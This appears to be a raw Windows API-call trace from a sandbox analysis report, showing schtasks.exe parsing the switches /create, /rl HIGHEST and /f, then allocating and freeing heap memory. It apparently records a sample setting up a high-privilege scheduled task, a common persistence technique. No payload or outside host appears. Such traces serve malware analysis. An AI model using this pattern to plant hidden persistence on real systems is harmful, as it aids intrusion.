[0086.815] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.815] lstrlenW (lpString="|run|") returned 5 [0086.815] lstrlenW (lpString="|rl|") returned 4 [0086.815] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0086.815] SetLastError (dwErrCode=0x490) [0086.816] lstrlenW (lpString="end") returned 3 [0086.816] lstrlenW (lpString="end") returned 3 [0086.816] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.816] lstrlenW (lpString="rl") returned 2 [0086.816] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.816] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|end|") returned 5 [0086.816] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.816] lstrlenW (lpString="|end|") returned 5 [0086.816] lstrlenW (lpString="|rl|") returned 4 [0086.816] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0086.816] SetLastError (dwErrCode=0x490) [0086.816] lstrlenW (lpString="showsid") returned 7 [0086.816] lstrlenW (lpString="showsid") returned 7 [0086.816] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.816] lstrlenW (lpString="rl") returned 2 [0086.816] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.816] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|showsid|") returned 9 [0086.816] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.816] lstrlenW (lpString="|showsid|") returned 9 [0086.816] lstrlenW (lpString="|rl|") returned 4 [0086.816] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0086.816] SetLastError (dwErrCode=0x490) [0086.816] SetLastError (dwErrCode=0x490) [0086.816] SetLastError (dwErrCode=0x0) [0086.816] lstrlenW (lpString="/rl") returned 3 [0086.816] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0086.816] SetLastError (dwErrCode=0x490) [0086.817] SetLastError (dwErrCode=0x0) [0086.817] lstrlenW (lpString="/rl") returned 3 [0086.817] GetProcessHeap () returned 0xe0000 [0086.817] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfdef0 [0086.817] GetProcessHeap () returned 0xe0000 [0086.817] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfced0 [0086.817] SetLastError (dwErrCode=0x0) [0086.817] SetLastError (dwErrCode=0x0) [0086.817] lstrlenW (lpString="HIGHEST") returned 7 [0086.817] lstrlenW (lpString="-/") returned 2 [0086.817] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0086.817] SetLastError (dwErrCode=0x490) [0086.817] SetLastError (dwErrCode=0x490) [0086.817] SetLastError (dwErrCode=0x0) [0086.817] lstrlenW (lpString="HIGHEST") returned 7 [0086.817] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0086.817] SetLastError (dwErrCode=0x490) [0086.817] SetLastError (dwErrCode=0x0) [0086.817] lstrlenW (lpString="HIGHEST") returned 7 [0086.817] GetProcessHeap () returned 0xe0000 [0086.817] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x10) returned 0xfd660 [0086.817] GetProcessHeap () returned 0xe0000 [0086.817] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcf00 [0086.817] SetLastError (dwErrCode=0x0) [0086.817] SetLastError (dwErrCode=0x0) [0086.817] lstrlenW (lpString="/f") returned 2 [0086.817] lstrlenW (lpString="-/") returned 2 [0086.817] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.817] lstrlenW (lpString="?") returned 1 [0086.817] lstrlenW (lpString="?") returned 1 [0086.817] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.817] lstrlenW (lpString="f") returned 1 [0086.818] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.818] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.818] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.818] lstrlenW (lpString="|?|") returned 3 [0086.818] lstrlenW (lpString="|f|") returned 3 [0086.818] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0086.818] SetLastError (dwErrCode=0x490) [0086.818] lstrlenW (lpString="create") returned 6 [0086.818] lstrlenW (lpString="create") returned 6 [0086.818] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.818] lstrlenW (lpString="f") returned 1 [0086.818] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.818] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.818] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.818] lstrlenW (lpString="|create|") returned 8 [0086.818] lstrlenW (lpString="|f|") returned 3 [0086.818] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0086.818] SetLastError (dwErrCode=0x490) [0086.818] lstrlenW (lpString="delete") returned 6 [0086.818] lstrlenW (lpString="delete") returned 6 [0086.818] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.818] lstrlenW (lpString="f") returned 1 [0086.818] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.818] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|delete|") returned 8 [0086.818] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.818] lstrlenW (lpString="|delete|") returned 8 [0086.818] lstrlenW (lpString="|f|") returned 3 [0086.818] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0086.818] SetLastError (dwErrCode=0x490) [0086.818] lstrlenW (lpString="query") returned 5 [0086.819] lstrlenW (lpString="query") returned 5 [0086.819] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.819] lstrlenW (lpString="f") returned 1 [0086.819] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.819] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|query|") returned 7 [0086.819] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.819] lstrlenW (lpString="|query|") returned 7 [0086.819] lstrlenW (lpString="|f|") returned 3 [0086.819] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0086.819] SetLastError (dwErrCode=0x490) [0086.819] lstrlenW (lpString="change") returned 6 [0086.819] lstrlenW (lpString="change") returned 6 [0086.819] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.819] lstrlenW (lpString="f") returned 1 [0086.819] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.819] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|change|") returned 8 [0086.819] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.819] lstrlenW (lpString="|change|") returned 8 [0086.819] lstrlenW (lpString="|f|") returned 3 [0086.819] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0086.819] SetLastError (dwErrCode=0x490) [0086.819] lstrlenW (lpString="run") returned 3 [0086.819] lstrlenW (lpString="run") returned 3 [0086.819] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.819] lstrlenW (lpString="f") returned 1 [0086.819] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.819] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|run|") returned 5 [0086.819] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.819] lstrlenW (lpString="|run|") returned 5 [0086.820] lstrlenW (lpString="|f|") returned 3 [0086.820] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0086.820] SetLastError (dwErrCode=0x490) [0086.820] lstrlenW (lpString="end") returned 3 [0086.820] lstrlenW (lpString="end") returned 3 [0086.820] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.820] lstrlenW (lpString="f") returned 1 [0086.820] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.820] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|end|") returned 5 [0086.820] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.820] lstrlenW (lpString="|end|") returned 5 [0086.820] lstrlenW (lpString="|f|") returned 3 [0086.820] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0086.820] SetLastError (dwErrCode=0x490) [0086.820] lstrlenW (lpString="showsid") returned 7 [0086.820] lstrlenW (lpString="showsid") returned 7 [0086.820] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.820] lstrlenW (lpString="f") returned 1 [0086.820] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.820] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|showsid|") returned 9 [0086.820] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|f|") returned 3 [0086.820] lstrlenW (lpString="|showsid|") returned 9 [0086.820] lstrlenW (lpString="|f|") returned 3 [0086.820] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0086.820] SetLastError (dwErrCode=0x490) [0086.820] SetLastError (dwErrCode=0x490) [0086.820] SetLastError (dwErrCode=0x0) [0086.820] lstrlenW (lpString="/f") returned 2 [0086.821] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0086.821] SetLastError (dwErrCode=0x490) [0086.821] SetLastError (dwErrCode=0x0) [0086.821] lstrlenW (lpString="/f") returned 2 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x6) returned 0xfdf10 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcf30 [0086.821] SetLastError (dwErrCode=0x0) [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320) returned 1 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc320) returned 0x8 [0086.821] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320 | out: hHeap=0xe0000) returned 1 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd50) returned 1 [0086.821] GetProcessHeap () returned 0xe0000 [0086.821] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd50) returned 0x20 [0086.822] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd50 | out: hHeap=0xe0000) returned 1 [0086.822] GetProcessHeap () returned 0xe0000 [0086.822] GetProcessHeap () returned 0xe0000 [0086.822] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3b0) returned 1 [0086.822] GetProcessHeap () returned 0xe0000 [0086.822] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3b0) returned 0xc [0086.822] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3b0 | out: hHeap=0xe0000) returned 1 [0086.822] GetProcessHeap () returned 0xe0000 [0086.822] GetProcessHeap () returned 0xe0000 [0086.822] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd80) returned 1 [0086.822] GetProcessHeap () returned 0xe0000 [0086.822] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd80) returned 0x20 [0086.823] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd80 | out: hHeap=0xe0000) returned 1 [0086.823] GetProcessHeap () returned 0xe0000 [0086.823] GetProcessHeap () returned 0xe0000 [0086.823] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3d0) returned 1 [0086.823] GetProcessHeap () returned 0xe0000 [0086.823] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3d0) returned 0x8 [0086.823] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3d0 | out: hHeap=0xe0000) returned 1 [0086.824] GetProcessHeap () returned 0xe0000 [0086.824] GetProcessHeap () returned 0xe0000 [0086.824] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdb0) returned 1 [0086.824] GetProcessHeap () returned 0xe0000 [0086.824] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcdb0) returned 0x20 [0086.825] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdb0 | out: hHeap=0xe0000) returned 1 [0086.825] GetProcessHeap () returned 0xe0000 [0086.825] GetProcessHeap () returned 0xe0000 [0086.825] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3f0) returned 1 [0086.825] GetProcessHeap () returned 0xe0000 [0086.825] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3f0) returned 0xe [0086.825] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3f0 | out: hHeap=0xe0000) returned 1 [0086.825] GetProcessHeap () returned 0xe0000 [0086.825] GetProcessHeap () returned 0xe0000 [0086.825] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcde0) returned 1 [0086.825] GetProcessHeap () returned 0xe0000 [0086.825] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcde0) returned 0x20 [0086.826] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcde0 | out: hHeap=0xe0000) returned 1 [0086.826] GetProcessHeap () returned 0xe0000 [0086.826] GetProcessHeap () returned 0xe0000 [0086.826] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc410) returned 1 [0086.826] GetProcessHeap () returned 0xe0000 [0086.826] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc410) returned 0x8 [0086.826] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc410 | out: hHeap=0xe0000) returned 1 [0086.826] GetProcessHeap () returned 0xe0000 [0086.826] GetProcessHeap () returned 0xe0000 [0086.826] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce10) returned 1 [0086.826] GetProcessHeap () returned 0xe0000 [0086.826] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce10) returned 0x20 [0086.827] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce10 | out: hHeap=0xe0000) returned 1 [0086.827] GetProcessHeap () returned 0xe0000 [0086.827] GetProcessHeap () returned 0xe0000 [0086.827] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc430) returned 1 [0086.827] GetProcessHeap () returned 0xe0000 [0086.827] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc430) returned 0x4 [0086.827] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc430 | out: hHeap=0xe0000) returned 1 [0086.827] GetProcessHeap () returned 0xe0000 [0086.827] GetProcessHeap () returned 0xe0000 [0086.827] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce40) returned 1 [0086.827] GetProcessHeap () returned 0xe0000 [0086.827] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce40) returned 0x20 [0086.827] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce40 | out: hHeap=0xe0000) returned 1 [0086.828] GetProcessHeap () returned 0xe0000 [0086.828] GetProcessHeap () returned 0xe0000 [0086.828] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc450) returned 1 [0086.828] GetProcessHeap () returned 0xe0000 [0086.828] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc450) returned 0x8 [0086.828] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc450 | out: hHeap=0xe0000) returned 1 [0086.828] GetProcessHeap () returned 0xe0000 [0086.828] GetProcessHeap () returned 0xe0000 [0086.828] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce70) returned 1 [0086.828] GetProcessHeap () returned 0xe0000 [0086.828] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce70) returned 0x20 [0086.829] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce70 | out: hHeap=0xe0000) returned 1 [0086.829] GetProcessHeap () returned 0xe0000 [0086.829] GetProcessHeap () returned 0xe0000 [0086.829] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde80) returned 1 [0086.829] GetProcessHeap () returned 0xe0000 [0086.829] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfde80) returned 0x5e [0086.829] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde80 | out: hHeap=0xe0000) returned 1 [0086.829] GetProcessHeap () returned 0xe0000 [0086.829] GetProcessHeap () returned 0xe0000 [0086.829] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcea0) returned 1 [0086.829] GetProcessHeap () returned 0xe0000 [0086.829] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcea0) returned 0x20 [0086.830] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcea0 | out: hHeap=0xe0000) returned 1 [0086.830] GetProcessHeap () returned 0xe0000 [0086.830] GetProcessHeap () returned 0xe0000 [0086.830] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdef0) returned 1 [0086.830] GetProcessHeap () returned 0xe0000 [0086.830] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfdef0) returned 0x8 [0086.830] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdef0 | out: hHeap=0xe0000) returned 1 [0086.830] GetProcessHeap () returned 0xe0000 [0086.830] GetProcessHeap () returned 0xe0000 [0086.830] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfced0) returned 1 [0086.830] GetProcessHeap () returned 0xe0000 [0086.830] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfced0) returned 0x20 [0086.831] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfced0 | out: hHeap=0xe0000) returned 1 [0086.831] GetProcessHeap () returned 0xe0000 [0086.831] GetProcessHeap () returned 0xe0000 [0086.831] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd660) returned 1 [0086.831] GetProcessHeap () returned 0xe0000 [0086.831] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd660) returned 0x10 [0086.831] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd660 | out: hHeap=0xe0000) returned 1 [0086.831] GetProcessHeap () returned 0xe0000 [0086.831] GetProcessHeap () returned 0xe0000 [0086.831] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf00) returned 1 [0086.831] GetProcessHeap () returned 0xe0000 [0086.831] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcf00) returned 0x20 [0086.832] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf00 | out: hHeap=0xe0000) returned 1 [0086.832] GetProcessHeap () returned 0xe0000 [0086.832] GetProcessHeap () returned 0xe0000 [0086.832] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdf10) returned 1 [0086.832] GetProcessHeap () returned 0xe0000 [0086.832] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfdf10) returned 0x6 [0086.832] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdf10 | out: hHeap=0xe0000) returned 1 [0086.832] GetProcessHeap () returned 0xe0000 [0086.832] GetProcessHeap () returned 0xe0000 [0086.832] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf30) returned 1 [0086.832] GetProcessHeap () returned 0xe0000 [0086.832] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcf30) returned 0x20 [0086.833] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf30 | out: hHeap=0xe0000) returned 1 [0086.833] GetProcessHeap () returned 0xe0000 [0086.833] GetProcessHeap () returned 0xe0000 [0086.833] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7fa0) returned 1 [0086.833] GetProcessHeap () returned 0xe0000 [0086.833] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf7fa0) returned 0x18 [0086.833] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7fa0 | out: hHeap=0xe0000) returned 1 [0086.833] SetLastError (dwErrCode=0x0) [0086.834] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0086.834] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0086.834] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0086.834] VerifyVersionInfoW (in: lpVersionInformation=0xbc350, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc350) returned 1 [0086.834] SetLastError (dwErrCode=0x0) [0086.834] lstrlenW (lpString="create") returned 6 [0086.834] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0086.834] SetLastError (dwErrCode=0x490) [0086.834] SetLastError (dwErrCode=0x0) [0086.834] lstrlenW (lpString="create") returned 6 [0086.834] GetProcessHeap () returned 0xe0000 [0086.834] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcf30 [0086.834] GetProcessHeap () returned 0xe0000 [0086.834] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfd660 [0086.834] _memicmp (_Buf1=0xfd660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.834] GetProcessHeap () returned 0xe0000 [0086.834] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x16) returned 0xfd680 [0086.834] SetLastError (dwErrCode=0x0) [0086.835] _memicmp (_Buf1=0xfbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.835] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xfbd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0086.835] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0086.836] GetProcessHeap () returned 0xe0000 [0086.836] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x74e) returned 0xfde80 [0086.836] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xfde80 | out: lpData=0xfde80) returned 1 [0086.836] VerQueryValueW (in: pBlock=0xfde80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc438, puLen=0xbc4a0 | out: lplpBuffer=0xbc438*=0xfe21c, puLen=0xbc4a0) returned 1 [0086.836] _memicmp (_Buf1=0xfbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.836] _vsnwprintf (in: _Buffer=0xfbd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc418 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0086.836] VerQueryValueW (in: pBlock=0xfde80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc4a8, puLen=0xbc498 | out: lplpBuffer=0xbc4a8*=0xfe048, puLen=0xbc498) returned 1 [0086.836] lstrlenW (lpString="schtasks.exe") returned 12 [0086.837] lstrlenW (lpString="schtasks.exe") returned 12 [0086.837] lstrlenW (lpString=".EXE") returned 4 [0086.837] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0086.837] lstrlenW (lpString="schtasks.exe") returned 12 [0086.837] lstrlenW (lpString=".EXE") returned 4 [0086.837] lstrlenW (lpString="schtasks") returned 8 [0086.837] lstrlenW (lpString="/create") returned 7 [0086.837] _memicmp (_Buf1=0xfbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.837] _vsnwprintf (in: _Buffer=0xfbd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc418 | out: _Buffer="schtasks /create") returned 16 [0086.837] _memicmp (_Buf1=0xfbbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.838] GetProcessHeap () returned 0xe0000 [0086.838] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcf00 [0086.838] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.838] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0086.838] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0086.838] GetProcessHeap () returned 0xe0000 [0086.838] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x30) returned 0xf7c00 [0086.838] _vsnwprintf (in: _Buffer=0xfc150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc418 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0086.838] GetProcessHeap () returned 0xe0000 [0086.838] GetProcessHeap () returned 0xe0000 [0086.838] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde80) returned 1 [0086.838] GetProcessHeap () returned 0xe0000 [0086.838] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfde80) returned 0x74e [0086.839] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde80 | out: hHeap=0xe0000) returned 1 [0086.839] SetLastError (dwErrCode=0x0) [0086.839] GetThreadLocale () returned 0x409 [0086.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.839] lstrlenW (lpString="create") returned 6 [0086.839] GetThreadLocale () returned 0x409 [0086.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.839] lstrlenW (lpString="?") returned 1 [0086.839] GetThreadLocale () returned 0x409 [0086.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.839] lstrlenW (lpString="s") returned 1 [0086.839] GetThreadLocale () returned 0x409 [0086.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.840] lstrlenW (lpString="u") returned 1 [0086.840] GetThreadLocale () 